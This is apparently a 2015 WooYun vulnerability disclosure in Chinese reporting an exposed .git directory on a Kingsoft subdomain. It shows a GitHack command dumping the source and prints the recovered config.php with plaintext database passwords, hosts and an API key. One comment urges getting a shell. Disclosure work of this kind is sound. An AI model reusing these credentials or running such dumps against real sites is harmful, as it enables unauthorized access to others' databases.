金山某分站git漏洞泄露数据库配置文件

发表于 2015年07月01日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0123857

漏洞标题：金山某分站git漏洞泄露数据库配置文件

漏洞详情

披露状态：

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认，细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开

简要描述：

利用李姐姐的神器以还原本地

详细说明：

http://popo.wan.ijinshan.com/.git/config

C:\Python27>python 1/GitHack.py http://popo.wan.ijinshan.com/.git/<br>
[+] Download and parse index file ...<br>
[OK] .gitignore<br>
[OK] Conf/config.php<br>
[OK] Lib/Action/GlAction.class.php<br>
[OK] Lib/Action/ImportAction.class.php<br>
[OK] Lib/Action/RejectAction.class.php<br>
[OK] Lib/Action/PopoAction.class.php<br>
[OK] Lib/Helper/PopoHelper.class.php<br>
[OK] Lib/Action/TestAction.class.php<br>
[OK] Lib/Helper/ImportHelper.class.php<br>
[OK] Lib/Helper/GlHelper.class.php<br>
[OK] ThinkPHP/Extend/Library/ORG/Net/IpLocation_Bootstrap.class.php<br>
[OK] ThinkPHP/Extend/Library/ORG/Net/IpLocation.class.php<br>
[OK] ThinkPHP/Lib/Driver/Cache/CacheMemcache.class.php<br>
[OK] favicon.ico<br>
[OK] cli.php<br>
[OK] index.php<br>
[OK] start.sh<br>
[OK] ThinkPHP/Extend/Library/ORG/Net/UTFWry.dat

C:\Python27>python 1/GitHack.py http://popo.wan.ijinshan.com/.git/

[+] Download and parse index file ...

[OK] .gitignore

[OK] Conf/config.php

[OK] Lib/Action/GlAction.class.php

[OK] Lib/Action/ImportAction.class.php

[OK] Lib/Action/RejectAction.class.php

[OK] Lib/Action/PopoAction.class.php

[OK] Lib/Helper/PopoHelper.class.php

[OK] Lib/Action/TestAction.class.php

[OK] Lib/Helper/ImportHelper.class.php

[OK] Lib/Helper/GlHelper.class.php

[OK] ThinkPHP/Extend/Library/ORG/Net/IpLocation_Bootstrap.class.php

[OK] ThinkPHP/Extend/Library/ORG/Net/IpLocation.class.php

[OK] ThinkPHP/Lib/Driver/Cache/CacheMemcache.class.php

[OK] favicon.ico

[OK] cli.php

[OK] index.php

[OK] start.sh

[OK] ThinkPHP/Extend/Library/ORG/Net/UTFWry.dat

<?php<br>
return array(<br>
    // url<br>
    'URL_MODEL' => 2,<br>
    'URL_CASE_INSENSITIVE' => true,// autoload config<br>
    'APP_AUTOLOAD_PATH' => '@.Common,@.Util,@.Helper',// db<br>
    'DB_TYPE' => 'mysql',<br>
    'DB_HOST' => '10.10.0.177',<br>
    'DB_NAME' => 'popo_wan',<br>
    'DB_USER' => 'popo_wan',<br>
    'DB_PWD' => 'UtyuGBY72DXM',<br>
    'DB_PREFIX' => '','DB_KSAFE' => array(<br>
        'db_type' => 'mysql',<br>
        'db_user' => 'dbreader',<br>
        'db_pwd' => 'king+5688',<br>
        'db_host' => '119.147.146.239',<br>
        'db_port' => '3306',<br>
        'db_name' => 'infoc_ksafe'<br>
    ),'DB_KVIP' => array(<br>
        'db_type' => 'mysql',<br>
        'db_user' => 'dbreader',<br>
        'db_pwd' => 'king+5688',<br>
        'db_host' => '119.147.146.119',<br>
        'db_port' => '3306',<br>
        'db_name' => 'infoc_kvip'<br>
    ),'DB_WEIKAN' => array(<br>
        'db_type' => 'mysql',<br>
        'db_user' => 'gim_usr',<br>
        'db_pwd' => 'CNpPGY2jn187Sx67FhqppxRmNjh25WOC',<br>
        'db_host' => '114.112.68.238',<br>
        'db_port' => '3306',<br>
        'db_name' => 'GIM_DW'<br>
    ),// cache<br>
    'DATA_CACHE_TYPE' => 'Memcache',<br>
    'MEMCACHE_HOST' => 'tcp://192.168.2.172:11211',<br>
    'DATA_CACHE_TIME' => '0',// log<br>
    'LOG_RECORD' => true,<br>
    'LOG_LEVEL' => 'INFO',<br>
    'LOG_TYPE' => 3,// app<br>
    'API_KEY' => 'ZhQneW7P','URL_ROUTER_ON' => true,<br>
    'URL_ROUTE_RULES' => array(<br>
        'api/reject/index' => 'Reject/index',<br>
        'api/reject/set' => 'Reject/set',<br>
        'api/reject/cancel' => 'Reject/cancel'<br>
    ),'SESSION_AUTO_START' => false,<br>
);<br>
?>

<?php

return array(

// url

'URL_MODEL' => 2,

'URL_CASE_INSENSITIVE' => true,// autoload config

'APP_AUTOLOAD_PATH' => '@.Common,@.Util,@.Helper',// db

'DB_TYPE' => 'mysql',

'DB_HOST' => '10.10.0.177',

'DB_NAME' => 'popo_wan',

'DB_USER' => 'popo_wan',

'DB_PWD' => 'UtyuGBY72DXM',

'DB_PREFIX' => '','DB_KSAFE' => array(

'db_type' => 'mysql',

'db_user' => 'dbreader',

'db_pwd' => 'king+5688',

'db_host' => '119.147.146.239',

'db_port' => '3306',

'db_name' => 'infoc_ksafe'

),'DB_KVIP' => array(

'db_type' => 'mysql',

'db_user' => 'dbreader',

'db_pwd' => 'king+5688',

'db_host' => '119.147.146.119',

'db_port' => '3306',

'db_name' => 'infoc_kvip'

),'DB_WEIKAN' => array(

'db_type' => 'mysql',

'db_user' => 'gim_usr',

'db_pwd' => 'CNpPGY2jn187Sx67FhqppxRmNjh25WOC',

'db_host' => '114.112.68.238',

'db_port' => '3306',

'db_name' => 'GIM_DW'

),// cache

'DATA_CACHE_TYPE' => 'Memcache',

'MEMCACHE_HOST' => 'tcp://192.168.2.172:11211',

'DATA_CACHE_TIME' => '0',// log

'LOG_RECORD' => true,

'LOG_LEVEL' => 'INFO',

'LOG_TYPE' => 3,// app

'API_KEY' => 'ZhQneW7P','URL_ROUTER_ON' => true,

'URL_ROUTE_RULES' => array(

'api/reject/index' => 'Reject/index',

'api/reject/set' => 'Reject/set',

'api/reject/cancel' => 'Reject/cancel'

),'SESSION_AUTO_START' => false,

);

漏洞证明：

修复方案：

修复吧

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-07-0111:32

厂商回复：

收到，立刻处理。

评价

2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

不如拿个shell

原文连接：金山某分站git漏洞泄露数据库配置文件 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。

金山某分站git漏洞泄露数据库配置文件

漏洞概要

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

漏洞回应

厂商回应：

厂商回复：

最新状态：

评价